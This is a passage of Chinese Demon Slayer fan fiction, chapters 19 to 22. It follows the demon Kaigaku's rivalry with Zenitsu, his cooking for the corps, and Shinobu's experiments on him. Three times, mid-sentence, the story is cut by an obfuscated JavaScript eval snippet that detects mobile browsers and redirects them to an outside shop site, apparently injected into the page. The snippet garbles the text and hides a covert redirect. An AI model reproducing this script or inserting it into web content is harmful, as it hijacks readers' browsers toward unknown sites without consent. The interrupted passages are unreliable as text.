当然没有。 狯岳一路走来,全靠自己,绷着脸吓退了所有潜在同伴。 他加入鬼杀队是来杀鬼的,不是来交朋友的。鬼杀队的晋升方法很简单,他只要取得足够的战绩就能升职,没必要浪费时间和人搞好关系。 所以: “除了他,我没有别的选择——你是想这么说吗?” “差不多吧,毕竟我只是个狐狸,不能握刀,帮不了你的忙。” “……也没指望你能帮忙。”狯岳看着狐狸:“很多时候,我都没有选择的余地。出身无法选择。天赋无法选择。同门无法选择。”甚至连眼前这只狐狸,也不是他的选择。“当我好不容易从生死线上挣扎出来,却连拒绝一个人的权利都没有吗?” 他活到现在,能控制的东西,实在太少太少。 除了随着努力锻炼而不断增长的实力之外,就只有自己的情感了。 狐狸沉默片刻,猛地跳到他的脸上:“对不起嘛~你想怎么样就怎么样吧。” 这还差不多。 狯岳把狐狸从脸上扒下来,抱在怀里,走出房间。 天还没有亮,然而鸟雀已经开始行动,一些勤奋的队士也早起洗漱。这些队士有的认识他,有的不认识。有的人会用奇怪的眼神看他,但更多人只专注自身,忙着训练。 新的一天,已经开始了。 19. 第十九章 空旷的地面上有一块巨大的岩石,岩石的边上是正在深呼吸的灶门炭治郎。 他把双手放在岩石上,拼尽全身力气—— 一动不动。 狯岳看了一会儿,正打算转身离开,就听到“咚”得一声。 那孩子正把头往石头上磕呢。 狯岳:^=_=^。 然后灶门炭治郎才注意到边上的狯岳,整张脸迅速涨得通红:“刚才那是、那是意外!才不是发脾气!” 狯岳:“……” 狯岳:“无所谓,和我没关系。” “没关系就好——我是说,”灶门炭治郎努力转移话题,“早上好,狯岳先生,梨花。” 狯岳眨了眨眼睛,而狐狸摇了摇尾巴:“早上好,炭治郎!” “狯岳先生也是来练习推岩石的吗?” “不,我不需要,”狯岳摇了摇头,“雷之呼吸对腰腿的力量要求很高,我以前做过类似的训练。” 更别说他还变成了鬼,力气变大,一般人的标准已经不适合他了。 闻言,灶门炭治郎举手:“那善逸怎么一副要死了的样子?” 狯岳:“……” 狯岳:“懒死的样子吧。” 灶门炭治郎:啊哈哈。 灶门炭治郎:“狯岳先生,还是一如既往地讨厌善逸啊。” 狯岳挑起眉毛:“怎么,你要替他打抱不平?” “虽然希望你们能好好相处,但我不了解情况,不好胡乱发表意见。”灶门炭治郎挠了挠脸,“何况,善逸也没有求助的意思。” 那他还是别多管闲事比较好。 狯岳低下头,意味深长地盯着狐狸: 看看人家,再看看你! 狐狸假装不知道他是什么意思,帮灶门炭治郎问:“那,狯岳有没有什么推石头的诀窍?” 灶门炭治郎的眼睛一下子亮了,目光炯炯地看着狯岳:“对对,狯岳先生能不能帮帮我?虽然玄弥告诉我要做重复动作,可我老是重复失败。” 狯岳:“……” 狯岳:“…………” 但灶门炭治郎那种非他不可的眼神看得他很受用,所以他还是张开口:“让石头动起来的第一下,需要的力气最大。等石头动起来之后会顺利很多。你必须全身上下,同时爆发式用力才行。” 说着,狯岳把狐狸放到灶门炭治郎的头顶,双手触及岩石,调整姿势,深吸一口气,用力—— 石头动了。 ……比预计的轻松一些。 是因为变成了鬼,基础力量大了很多的缘故吧。 狯岳看着自己苍白的手掌,不高兴地拉下嘴角。 “……好厉害,”灶门炭治郎看着石头在地上的划痕,“不愧是甲级……狯岳先生,你一定可以成为鸣柱!” 话音落下,狯岳心头火起,毫不掩饰地“啧”了一声。 果然物以类聚,能和我妻善逸交好的,都是些只会说漂亮话的白痴。 一只鬼,怎么可能成为鸣柱?! 闻出狯岳生气了的灶门炭治郎百思不得其解:为什么?! 就在此时,嘴平尹之助大喊着“猪突猛进”冲了过来,直直撞向狯岳,然后被后者眼疾手快,一把按住脑壳。 “你就是门逸的大哥吧!跟我打一架!”野猪脑袋大声嚷嚷,“让我们决一胜负!” 灶门炭治郎捧着脸无声尖叫:狯岳先生怎么更生气了,为什么?! 虽然不知道“门逸”是什么鬼,但狯岳能明白嘴平尹之助在说什么。反正这绝对又是我妻善逸给他惹来的麻烦没错了。 即便这个麻烦也很好解决……也是麻烦。 他侧过身,让开一步,然后准确地捉住嘴平尹之助挥舞的手腕,顺着他的袭击方向,一提、一甩。 下一刻,嘴平尹之助面朝下,重重摔在了地上。野猪头套随之飞了出去,露出那张和发达的肌肉一点也不搭的漂亮脸庞。 接着,那张漂亮脸庞挂上了一点也不搭的凶悍表情:“刚才是我大意了!再来!” 狯岳被嘴平尹之助的脸吓了一跳,罕见地愣了一下,于是没能躲开我妻善逸的飞扑: “天快亮了大哥你怎么在外面乱晃被太阳晒成灰的话我怎么办我怎么向爷爷交待啊啊啊啊啊啊——” 出现了,熟悉的肮脏男高音。 狯岳的心情跌至谷底:“不要管我!这种事不用你来提醒!这里到处都是树,随便找块树荫躲着就行了!” “树荫之间会有缝隙的好么,碰到了就会受伤的!” “只要不会死怎样都无所谓!走开啦!” 嘴平尹之助歪了歪头,指着他俩问灶门炭治郎:“门逸怎么□□的队?他们怎么还不打起来?” 灶门炭治郎挠脸:“善逸不是要和狯岳先生打架,他们只是……只是在纠缠而已。” 我妻善逸越靠近,狯岳就越回避。 他一看到我妻善逸就生气,已经到了条件反射的地步。这家伙的声音、颜色、气味……光是存在本身,就让他感到反胃。 胃蠕动着贴近心脏。难受的感觉向上蔓延,火一样灼烧着摇摇欲坠的理性和耐性。 “……怎么可能无所谓,受伤还是会痛的吧!我问过忍小姐,鬼和人有很多不同的地方但相同的地方更多,所以——” “你就没有别的事情可以做吗?!”狯岳的语气变得非常危险,“那我谢谢你的关心,这样可以了吗?可以放开我了吗?” 我妻善逸僵住了,手下意识松开:“……大、大哥?” “你就是喜欢听人说漂亮话哄你开心,对吧?”狯岳扯起嘴角,“我知道你想听我说什么。虽然你是个一无是处的废物,但是没关系,不要紧,只要你在就好了,行了吧?” 当然不行啊! 我妻善逸呆呆地看着狯岳,整个人都微微发抖。 “你怎么那副表情,还不够吗,好好好——” 但灶门炭治郎赶上前,一脑门撞向狯岳的脑袋:“狯岳先生对不起但你还是别说了!” 嘴平尹之助也对狯岳怒目而视:“你这家伙,讲话怪里怪气,听着就讨厌!门逸才不是废物!” 狯岳:呵呵。 他一脸“不出所料”的表情,抬手摸了摸自己毫发无损的脑袋:“那你倒是叫对那家伙的名字啊。” 嘴平尹之助歪了歪头:“错了吗?没错吧!” “……那不是重点!”灶门炭治郎把嘴平尹之助按下,“重点是,善逸不是废物!你不能这么说他!他虽然胆子小,但是人很好很善良,关键的时候还非常可靠!” 我妻善逸眼泪汪汪地看着他:谢谢,炭治郎! 但狯岳一手叉腰,一手用拇指倒着点了点我妻善逸:“难道这家伙没有抱着你的大腿哭着求你别放他一个人战斗吗?” 灶门炭治郎张口结舌,我妻善逸……我妻善逸他把自己藏在了灶门炭治郎身后。 没办法,他的确做过这样的事。 灶门炭治郎:“……只、只有一开始,而且善逸现在也变得很强了!虽然可能没有狯岳先生这么强,但他已经很努力了!” 我妻善逸抓着灶门炭治郎的肩膀连连点头:就是就是! 然而,狯岳冷冷道:“努力是最基本的吧?难道是可以拿出来夸耀的事情?” 话音落下,灶门炭治郎一时语塞。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105528|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的努力,我看到了。”狯岳继续。“那家伙,只能说是没有偷懒吧。不过,对他来说,那的确算是努力了——努力达到一般人努力的标准。” 我妻善逸小声反驳:“……可,可是,我、我真的有在努力呀!” “那你就不要叫苦叫累,整天哭哭啼啼,烦死了!” 灶门炭治郎隐约察觉到了,狯岳为什么会这么讨厌我妻善逸,或者说,是原因之一: 狯岳讨厌善逸消极逃避的态度。 灶门炭治郎张了张口:“……只是嘴上说说而已。” “什么?” “善逸,善逸只是嘴上说说而已啊,遇到事他是真上啊!”灶门炭治郎为我妻善逸辩护,“你能在这个时间碰上他,不正是因为,他和我一样,也在天没亮的时候就起床训练吗?!” ……这点倒是没法反驳。 这一次,轮到狯岳无话可说。 “狯岳先生也是,明明都愿意指点我训练了,却非要摆出一副恶人脸!你嘴巴上说得那么难听,其实没有那么讨厌善逸吧?!”灶门炭治郎挥动拳头,“你只是觉得他又软弱又没用,所以从来不肯正视他而已!虽然善逸他的确又吵又闹还容易退缩……” 我妻善逸捂心口:炭治郎,的确是站在他这边的,对吧?! “……但现在的他,已经和以前的他不一样——不,是一样的,”灶门炭治郎深吸一口气,“善逸一直是这样的,他很有原则,也很有能力,只是在加入鬼杀队之前,在比他更有能力的你面前,什么都展现不出来,所以他在狯岳先生的心目中才一直是个……没什么用的废物。但现在情况不一样,真的不一样!善逸已经接连和下弦、上弦的鬼战斗过了——” 狯岳耐心听了一会儿,眼看灶门炭治郎一副滔滔不绝的架势,皱起眉头,打断他的话: “那又怎样?” “什么?” “你说这么多,是想表达这小子有进步吧。”狯岳翻了个白眼。“但有进步又怎样,还不是连训练都无法完成,这么大的岩石,你都无法推动,更别说他——” “能推动的!就算我推不动,善逸都一定能推动的!绝对!” 我妻善逸:…… 我妻善逸:??? “虽然我很想推动这么大的岩石也一直在练习推动这么大的岩石,但是,但是,”他手舞足蹈,“我没有柱的实力,我我我,我做不到的!” “一定没问题的!你一定能做到,我相信你,你有这个实力!” “唉?!” “我们打赌!如果善逸能推动岩石,狯岳先生你就,你就,你就……” 狯岳挑起眉毛:“我就什么?” “你就,你就不能拒绝善逸叫你大哥!” “……” “……” 我妻善逸暴起,揪着灶门炭治郎的脖子猛摇:“我要想办法推动那么大的岩石,那必须得拼死努力才行。我都拼死努力了,得到的报酬居然只有一个我本就应得的称呼而已吗?!” 灶门炭治郎摇回去:“那你自己跟狯岳先生讨价还价啊!” “我不敢!” 灶门炭治郎:那你说个毛啊! 我妻善逸:他不管! 他只顾着摇晃灶门炭治郎,因为狯岳绝对不会容忍他这么摇晃他。他不想听他对他说难听的话、露出鄙夷的表情。 真讨厌啊,搞了半天,他和狯岳的关系,还是一点进步也没有。 炭治郎也实在异想天开,大哥根本不可能答应这种事情,这对他毫无意义—— 但是,“好啊。” 我妻善逸听见狯岳轻笑一声。 “如果这废物做得到的话。” 20. 第二十章 ……笑了。 那个狯岳,居然笑了?! 我妻善逸猛地回过头,想要捕捉那稍纵即逝的笑意,但对上的只有狯岳的后脑勺。 “大哥,你刚才笑了?!” 狯岳:“……” 狯岳:“推你的石头去。还有别叫我大哥。” “……你之前不都默认了吗,只有在生气的时候才会不许我这么叫你——啊,等等!太阳出来了!起码披件羽织挡着啊!” 看着两人一前一后离去的背影,嘴平尹之助愣了愣,用手肘拱了拱灶门炭治郎:“刚才的感觉,好奇怪!是怎么回事啊?” 灶门炭治郎摸了摸鼻子:“可能是因为,他们两个,都不生气了吧?” 果然搞不懂,他们这种兄弟相处的模式。 “权八郎。” “……是炭治郎。” “门逸的大哥,不是好人。” “是善逸,狯岳先生也不是人好不好这么简单……” “也好像,不是坏人。” “……对。” “是个奇怪的人。” “大概。” “为什么推动石头就能当善一的大哥?如果我推动了石头,善一就能当我小弟吗?” “不是,是狯岳先生同意当善逸的大哥。” “我虽然输了,但我不同意当凯岳的小弟!” “……是狯岳。要当狯岳先生小弟的也不是你。” 灶门炭治郎没法给狯岳下定义。 虽然狯岳倒霉遇到上弦一,为了活下去选择变成了鬼,和祢豆子的情况不太一样……但人面临要么死要么变成鬼这样的选择,实在谈不上什么自愿,当然,也谈不上无辜——就像天音夫人说过的那样,猎鬼人不能赌自己会是那个不吃人的特例。 就像尹之助通过直觉判断出来的一样,狯岳他……没那么好,但也没那么坏。 比较起来,他自己才是运气比较好的那一个,一直以来得到了许多人的帮助,才侥幸没有走错路。 未来的事情,谁也说不准。但至少现在,此刻,狯岳还是他们的同伴,他相信他们正一起走在正确的道路上。 何况。 善逸的想法才是最重要的。 狯岳毕竟是善逸的师兄,不是他师兄。这么说起来,善逸也蛮奇怪的,虽然他也有师兄,但他可没有把义勇先生当大哥的想法。尹之助倒是挺想当别人大哥,但他就是想当山大王,并不想照顾小弟。 ……管他呢。 作为善逸的朋友,他只要想办法帮善逸达成所愿就行了,至于善逸的心愿为什么这么奇怪,不是重点。 “还是先继续训练吧。”灶门炭治郎活动手脚,把注意力重新集中在面前的岩石上,“尹之助,我们一起加油!” 嘴平尹之助也迅速把刚才发生的事情抛在脑后:“噢!” 至于我妻善逸,人都已经被小伙伴给架起来了,当然要拼命完成训练才行。 狐狸蹲坐在岩石顶上,眯着眼睛看小伙子拼尽全力,汗流浃背,不得寸进。 “好逊。”狐狸眯起眼睛。“善逸,你的动作不协调,这样子是推不动岩石的。” 我妻善逸:“……” 我妻善逸:“我、我知道!”他心虚地补充,“就是一时走神了而已!下一次一定可以!” “……才说了只管自己想要什么,结果不还是拼命想让狯岳满意吗?” “反、反正我也必须完成岩柱的训练要求才行啊!” 不过这一点,狯岳也一样。 才说了想要拒绝的权利,转眼却同意灶门炭治郎的提议,把我妻善逸钓在这里辛苦训练。 这不是把决定权让出,交给了我妻善逸吗? 他到底是希望看到善逸成功,还是希望看到善逸失败啊? “……钓你个头。”对此,狯岳翻了个白眼。“反正那废物绝对做不到。认清现实对他又没坏处。” 狐狸评价:“坏心眼。” 狯岳没有否认。 队士们都在外训练,他一个人坐在屋檐下,看着太阳照过门口,不断升高。偶然有新人报道,奇怪地看了他一眼,就匆匆放下行礼、投入训练当中。 因为拟态成了人类的缘故,许多队士虽然知道他是鬼,却并没有真正认识到,自己正和鬼待在一起。 把鬼和人放在一起,就像把老虎和兔子关在同一个笼子里一样。而眼前这群兔子们似乎一点也不怕被老虎吃掉。 尤其这个村田。 他对这家伙有点印象,是曾一起出过任务的人。这样的人本该更清楚他的实力才对,却一副自来熟的样子靠过来,双手合十,请求他帮忙处理今天的饭菜。 “本来今天是轮到我来做饭,但我实在不想继续被新人把训练进度甩在后面,想要抓紧时间加练,就只能来拜托你了。” “……你有朋友的吧?” “可是你最闲啊。” 狯岳:“……” 狯岳:“不是,我是你朋友?” “难道不是吗?”村田笑眯眯地说,“我们可是一起出过任务的好朋友。而且,你那次分给我的饭团很好吃,我无论如何都想再吃一次呢,求求你啦。” ……既然这家伙连“求”这个字都说出来了。 结果就是,狯岳出现在岩柱府的厨房里,系上围裙,拿起菜刀,挑选食材,开始为所有人准备饭菜。 因为不能去阳光下搬柴烧火,还吸引了生怕他把厨房烧了的不死川玄弥帮忙。 动手前的不死川玄弥:看在大哥的份上,大不了他来救场。 动手后的不死川玄弥:你这浓眉大眼的家伙,居然真的会做饭?! 只见狯岳认认真真把鱼切开,掏出内脏剔除骨头,把鱼肉整齐地码放一边。 更远的位置是一堆葱,不同小碗里盛着不同的调味料。一个锅里炖着蘑菇,另一个锅里卤着熊掌。鸡蛋豆腐已经煎好,正焖在火炉上保持热度。 不死川玄弥用敬畏的眼神看着狯岳:“你居然这么会做饭?!” “……又不是很难的事情。”狯岳板着脸回答,“喂,花椒在哪里?” “厨房里没有这种配料……对不起,非常抱歉!” “……没有就没有,你干嘛要道歉?” “因为觉得条件简陋,实在辜负了你的手艺。” 狯岳:^=_=^。 狯岳:“只是老师不太会做饭,我接手后自己瞎琢磨出来的东西而已。” “可我就琢磨不出来。”不死川玄弥一副往事不堪回首的模样:“悲鸣屿先生只会做素斋,还不怎么放调味料,我原本以为这也是苦修的一部分……直到医生说我营养不良,悲鸣屿先生才隔三差五带我到山下下馆子,然后。” 接下来的话他没有说出口,但狯岳已经猜到了: 悲鸣屿行冥也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105529|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太会做饭。 又因为住在山里、经常苦修,不方便让隐帮忙,平常只能靠自己。 “所以,狯岳先生真的很厉害,”不死川玄弥诚恳地说,“虽然这么说很不好意思,但到善逸通过训练为止,接下来的饭菜也可以拜托你吗?” 狯岳……狯岳他耳朵红了。 他没有明示答应还是不答应,只粗声粗气地说:“姜用完了。” “我去拿!” 不死川玄弥小跑着出了厨房,但随后递给他生姜的,是一只更大、更有力的手。 悲鸣屿行冥。 狯岳的动作停滞了一瞬,然后把生姜从他手上默不作声地拿过来。 大部分时间,还是不死川玄弥给他打下手,悲鸣屿行冥像个雕像一样守在边上,肉眼可见对饭菜的期待。 而等到饭点的时候,蹲守的就不止是悲鸣屿行冥,还有一群饥肠辘辘的汉子。 ……一个个的,眼睛都亮得极为可疑,把转过身的狯岳吓得倒退了一步。 这群人异口同声: “好香!”“可以开饭了吗?”“我口水都快要流出来了!”“我口水已经流出来了!” 狯岳:^=_=^。 狯岳:“可、可以。” 接下来发生的一切,完全超出了他的预计—— 只是做了一顿还算过得去的饭菜而已,为什么这些人表现出这么恶心的态度啊?! “我早就告诉过你们!”村田眉飞色舞地向朋友们炫耀,“狯岳做饭有一手!这下服气了吧!” 的确服气,换了他们,哪怕知道这事儿,都不敢和狯岳搭话呢。 连之前看狯岳不顺眼的家伙,都觍着脸凑过来,小声说了句“对不起”,然后大声说了句“再来一碗”! “这种做法我是第一次吃到!狯岳先生真是天才!”灶门炭治郎夸个不停,“这个味道不错,那个口感也好特别!” “好吃!好吃!好吃!”这是嘴平尹之助,“文逸,大哥真好!” 我妻善逸一把把筷子抓断,额角迸出青筋:“那是我大哥!” 连悲鸣屿行冥的气场都变得柔和许多,看的他鸡皮疙瘩都起来了。 只是口腹之欲得到一定程度的满足而已,有必要表现得这么夸张吗? 个人有个人的口味,哪怕在桃山上,只有三个人,他们三个的偏好都有细碎的差别。眼前这群人,不可能个个都觉得他做的饭好吃。 大约是因为之前吃的只有饭团和烤鱼,所以才这么捧场吧。一定是这样。等吃多了之后就会感到厌倦,就会开始挑刺。一定会这样。 这样想着,狯岳的心情诡异地恢复了平静,才感觉到心脏像鼓点一样骚动,口舌像沙漠一样干燥。他拿起手边的鱼汤,喝了一口,于是连胃肠都像麻绳一样扭曲起来了。 “啊——大哥,我好了,承蒙款待!”我妻善逸看了他一眼,几口扒完碗里的饭,从座位上弹起, “我们回房间午休吧!” 狯岳:??? 午休是什么玩意? 就算这废物要去午休,关他什么事儿? “大哥,变小一点嘛!”我妻善逸自然地向他伸出手,展开那件黄色的羽织,“我训练太累了,太大了抱不动。” ……走廊上那点太阳,走位灵活一点就能避开。 但反正他也不想在这儿继续待下去了,所以。 就这样,随他去吧。 21.第二十一章 大哥好可爱。 不习惯被夸赞,坐立不安的大哥好可爱。乖乖变小,被自己的羽织裹住的大哥好可爱。为了不掉下去,贴近自己胸口的大哥好可爱。仰头看啾太郎可爱。焦虑地咬手指可爱。 总之大哥的行为举止比他那张破嘴说出来的话可爱多了。 “别忍了,吐出来吧。”我妻善逸把狯岳抱到了水边。“很不舒服吧?” 狯岳:“……” 狯岳:“没事。” 他的确不太舒服,大约就是因为那一口本该鲜美的鱼汤。 搞不懂,鱼汤和人血之间到底有什么差异?不都是水吗,为什么身体会无法接受? 但呕吐那么狼狈的事情,他要做也不会在我妻善逸面前—— 然后他的下巴就被捏住,牙齿被摸索着挤开,喉咙里塞进了一根手指、接着还有第二根。 我、妻、善、逸! “你……故意的?” 五分钟后,狐狸看了看狯岳怒气冲冲的背影,又看了看多了个黑眼圈的我妻善逸,震惊地问: “不用想都知道,那样狯岳肯定会生气的吧?!” 我妻善逸用带牙印的手指摸了摸肿起来的眼睛:“我还想生气呢。” “……所以果然是故意的?!” “那家伙,即使被那么多人夸赞,心里却还在不满。” “……” “为什么不能坦率地高兴起来呢?”我妻善逸蹲下身,抱住自己的膝盖,“如果是我,早就得意忘形了。” “……” “但大哥却在猜忌,在指责大家虚伪——完全不相信人吔。” “你又听狯岳心声啊。” “……不是我故意想听的。是那些声音擅自跑到我耳朵里来。” 我妻善逸把脸埋进膝盖里。 ——好沮丧好难过。大哥的心声真的真的太可怕了。他光看到大哥心情都会变好,怎么大哥的心情就不能积极向上一点呢? 明明做饭那么好吃,应该能分辨什么好、什么是不好才对…… 然后被狐狸一尾巴抽起来: “你已经拥有比其他人更多的优势了,不要在这里自怨自艾。” “我、我很辛苦的好么!总能听到一些不想听的东西,虽然能借此趋利避害,但也没法欺骗自己——” “还是不要太相信自己的耳朵比较好哦。” “……唉?” “人的心思瞬息万变,你所听到不一定是那个人真正想要的。毕竟那个人自己都不见得知道自己想要什么。” “……” “……” “狯岳……很努力,想要变强。” “那他为什么想要变强呢?” “为了出人头地,当上鸣柱?” “……出人头地是结果,不是原因。” 我妻善逸就说不出来了。 他知道狯岳的许多表象。那些表象都是真实的,毋庸置疑的,但他从来不知道他的本质。 “而且,换作是我,也不觉得刚才那样,有什么好高兴的。” “怎、怎么会?” “很简单,狯岳是剑士,又不是厨师。这种称赞听听就算了,真要放在心里,是本末倒置。” “……这样啊。” 我妻善逸似懂非懂。 理解一个人是很难的。 而很多时候,人与人相处,不需要那么多理解。 表面上看的过去就行了。互不干扰,偶尔合作就行了。谁管谁内心是怎么想的。 狯岳和我妻善逸本也可以当一对这样表面和睦的塑料师兄弟。是我妻善逸要求太多。 如果他听不到人的心声,他就会被狯岳的表象骗过;但他偏偏能听到人的心声,他知道狯岳的真实想法,知道越多,想要的也越多。 然而狯岳……狯岳他根本给不了那么多。 这就是矛盾所在。 就算我妻善逸推动岩石,狯岳不再反抗“大哥”这个称呼,他也给不了那么多。对他来说,陪着我妻善逸玩过家家,并不能改变他什么。 即使他或许会对我妻善逸改观,或许会明白他的废物师弟其实并不是个废物……但那又如何? 他们是不同的人,将走向不同的路,总有一天要分道扬镳。 互补怎样,合在一起才是完整的雷之呼吸又怎样? 狯岳想要独立行走,不愿意成为另一个人的附庸或者反过来。 “但我也不是想给大哥带去负担,我只是想听他发出开心的声音。”我妻善逸对着狐狸吐露在狯岳面前说不出口的心声。“因为桃山上有爷爷和大哥,所以我把桃山当成我的家,把爷爷和大哥当成家人。加入鬼杀队以来,我也遇到了很多很好的人。我感到高兴,感到幸福,所以也希望狯岳也能感受到,希望他和我有同样的心情……这难道很过分吗?” 不过分,但很一厢情愿就是了。 ——虽然是出于好心,可你能听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115952|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出别人想什么就算了,怎么连别人怎么想都要管…… 狐狸没把这话说出口,只转移话题:“你还是先推动岩石再说吧。炭治郎和尹之助已经做到了哦。” 我妻善逸果然被转移了注意力:“噫?!什么时候,这岂不是只把我一个人甩在身后了吗?!” “没错,所以你要再加把劲才行。” 我妻善逸继续和岩石斗智斗勇的同时,狯岳的血鬼术已经有了雏形。 当他第一次握住日轮刀,刀身变成了灿烂的金色,和老师的日轮刀几乎一模一样。但随后一缕漆黑的刀纹从刀茎处腾起,像闪电一样劈开金色的刀身,直至刀尖,让那抹灿烂的金色出现瑕疵,变得不再完整。 他曾猜测,那漆黑的刀纹就是他缺失的一之型;而半年后,我妻善逸那颜色和他正相反的日轮刀证明了这一点。 如今,一股颜色漆黑的雷霆,随着雷之呼吸的喷吐缠绕在他的日轮刀上,好似那缕漆黑的刀纹活了过来,张牙舞爪地彰显自己的存在感。 “好没用啊。”狯岳明白了自己的能力,嫌弃地皱了皱鼻子。“只是持续不断产生雷电而已吗?” 跟着一起研究的噬鬼者不死川玄弥:“……” “怎么会没用呢!”不死川玄弥表示不理解,“明明很厉害。雷电能不断麻痹、碎裂对手,产生的高热还能把对手的脑子烧焦,很有用的好么!” “但是伤害低。”狯岳闷闷不乐地说。“我想要能一击毙命的血鬼术。” “……我没听过有哪个血鬼术能做到这一点。” 如果血鬼术能像狯岳希望的那么厉害,鬼杀队根本没法打好么。 “而且,你的雷之呼吸已经很快了。” “……不,我还不够快。” 我妻善逸才是更快的那一个——这个事实让他想想就生气。 虽然他一只手就能按住我妻善逸,但是慢就是慢。一日学不会一之型,就一日快不过我妻善逸。 烦。 好烦。 真的烦。 不过,蝴蝶忍在例行检查时抽完他的血后,顺道给出了柱级意见: “狯岳君的血鬼术,可能比你以为的更厉害。这些黑雷对细胞膜的破坏性很强,只要加大电量,想必是能做到一击毙命的。” 这倒是个建设性的研究方向。 “所以,狯岳君,”她竖起一根手指,“你要不要试试摸电门?” 狯岳眨了眨眼睛:什么是电门? 22.第二十二章 蝴蝶忍笑眯眯地把狯岳引到实验室的插座面前,拆掉一根电线调整火线零线,再让他把手伸过去。 痛。 剧痛。 电流瘫痪了他的身体,让他整个人开始抽搐,即便蝴蝶忍把线从他的手边拿开,他依然躺在地上,无法动弹。 “看来,电流稍微大了一点。”这种情况下,蝴蝶忍居然还能继续笑眯眯地问:“怎么样?体内的电量有增加吗?” 吐出一口血的狯岳:“……” 他感受了一下自身,虚弱地回答:“可、可能有?” “这样的答案是不合格的哦。”蝴蝶忍摇了摇头。“反馈必须要真实、准确才行,这样下一次实验才能合理调整变量。来,到这边放电试试,让我看看电压有多少。” 狯岳点头答应,手一握—— 远处不知什么东西炸了! “怎、怎么回事!”他瞪大了眼睛,警惕地环顾四周,“蝴蝶小姐,附近有危险?!” 蝴蝶忍否认:“不,只是变压器炸了而已。” “变……什么器?” 不学无术的狯岳露出了清澈愚蠢的眼神,唇齿微张,连虎牙都露出来了呢。 “不是什么重要的东西。”蝴蝶忍单手托腮,“只是你输出的电流比我预计的要强。”她顿了顿,“就是你很厉害的意思。” 闻言,狯岳下意识回避她的视线:“……哦。” 蝴蝶忍看着狯岳,眨了眨眼睛,若有所思。 “……我怎么了吗?” “没什么。”蝴蝶忍把脑袋转开,又转回来,“接下来,展示一下电量。对着这边,慢慢放电,对,慢一点,等这个灯亮起来,好,保持。一直保持,直到再也放不出电为止。” 于是狯岳开始乖乖放电。 他猜这是为了测试他的极限,所以尝试压榨自己的潜能,放着放着,忽然脑袋一空,整个人不受控制,栽倒在地。 蝴蝶忍:“……” 蝴蝶忍:“也不必勉强自己到虚脱的地步。” “我、我不是故意的,”狯岳懊恼地爬起来,低下头,“对、对不起。” 蝴蝶忍又盯着看了他一会儿,就在狯岳又忍不住想问的时候,她伸出手,拍了拍他的肩膀:“辛苦了。” 狯岳:“……” 狯岳:“请不要把我当成小孩子。” “倒不是把你当成小孩子。”蝴蝶忍竖起一根手指,“其实,你这个样子,很像猫哦。” 狯岳:…… 狯岳:??? 不好,这女人和狐狸是一国的! “不好意思,伤你自尊心了吗?”蝴蝶忍歪了歪头,“还要继续吗?” 狯岳:“……” 虽然猜测蝴蝶忍和狐狸是一国的,但狯岳本能觉得,事情好像没这么简单。 蝴蝶忍又不是悲鸣屿行冥,和他应该没什么私人恩怨吧? 他想不出这女人会出于什么样的理由针对他,总不会是单纯因为他是鬼吧? 所以他按下心底的不安,咬咬牙:“请继续。” 如此,循环往复。 放电还好,充电的方式实在可怕,虽然蝴蝶忍接下来调整了电流强度,依旧看得不死川玄弥冷汗涔涔,指着自己:“我、我是不是也要被电?” “嗯?不需要哦,只要狯岳君的能力提升,玄弥君的能力也会提升。”蝴蝶忍摆了摆手,“在那之前,玄弥君还是继续其他柱训练吧。” “……唔,嗯,好。” 而狯岳被要求留在蝶屋,除了训练血鬼术之外,还要配合蝴蝶忍的实验。 大部分关于毒素,还有一些他完全听不懂的玩意,总之脑袋一头雾水,身体也时不时溃烂流水——这种水叫做细胞组织液,蝴蝶忍是这么告诉他的。 “准确地说,是组织间隙液。”她用锐利手术刀切开他的身体,一边观察毒素的效果,一边轻声细语地给他讲解,或许是为了让他不要紧张。“这是真皮层……这些白色的是脂肪。那是神经,压迫到就会——” 蝴蝶忍看着狯岳剧烈地颤抖了一下,依然微微笑:“像这样。” 狯岳勉强记住这些词语的发音:“我以为,都是脓水。” “简单地说,组织液颜色清亮,因为死掉的白细胞混了进去,才会发黄变绿。” “……原来如此。” 多亏了鬼的恢复力,恐怖的伤口很快恢复原状,于是一切不过是学术研究而已。 “刚才的药物,含有一种对人很有效的镇静剂,但鬼果然无法吸收呢。” “果然是什么意思?” “因为那种药物的主要成分是小麦。” “小麦,那不是长在田里的粮食吗?” “却也是最简单的药物,可以抚平人的心神,缓解悲伤的情绪。” “……人吃饱了的确没什么好悲伤的。” 蝴蝶忍面无波澜地收起药品和针管,不知为何,空气变得粘稠起来。 她语气平静地问:“鬼吃饱了,也会没有悲伤吗?” 狯岳:^=_=^。 狯岳:“大概?” 蝴蝶忍:“……” 